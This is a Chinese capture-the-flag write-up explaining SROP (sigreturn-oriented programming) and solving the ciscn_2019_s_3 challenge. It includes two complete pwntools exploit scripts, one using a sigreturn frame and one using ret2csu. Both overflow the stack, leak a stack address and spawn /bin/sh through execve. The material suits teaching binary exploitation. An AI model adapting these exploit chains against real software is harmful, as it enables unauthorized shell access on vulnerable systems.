SROP
SROP可以在gadgets很少的时候的栈利用里使用,近期学习linux后,明白了程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是从用户的栈中弹出寄存器的值。因此,如果栈能被我们控制,然后我们能够构造signreturn的系统调用,那么就能完成利用。我们的目的就是可以借助signreturn来控制全部的寄存器。
例题ciscn_2019_s_3
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个栈溢出漏洞。
这里,正好我们能控制rax为0xF,x64下的linux的signreturn系统调用号正好为0xF。于是,我们便可以利用SROP来达到利用。
完整的exp
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
sh = process('./ciscn_s_3')
#sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_sigreturn = 0x00000000004004DA
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = '/bin/sh'.ljust(0x10,'\x00') + p64(mov_rax_sigreturn) + p64(syscall) + str(frame)
sh.send(payload)
sh.interactive()
另外一种方法是ret2csu,构造execve的系统调用。这里正好rax能够控制为0x3B,x64下对应的系统调用为execve。
于是解法二完整的exp为
#coding:utf8
from pwn import *
#context.log_level = 'debug'
#sh = process('./ciscn_s_3')
sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_execvecall = 0x00000000004004E2
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)
payload = '/bin/sh'.ljust(0x10,'\x00') + p64(csu_pop)
payload += p64(0) #rbx
payload += p64(1) #rbp
#该存存放syscall指令的地址
payload += p64(stack_addr - 0xC0) #r12
payload += p64(0)*3
payload += p64(mov_rax_execvecall)
payload += p64(csu_call)
#r12指向这里的rop
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(syscall)
sh.send(payload)
sh.interactive()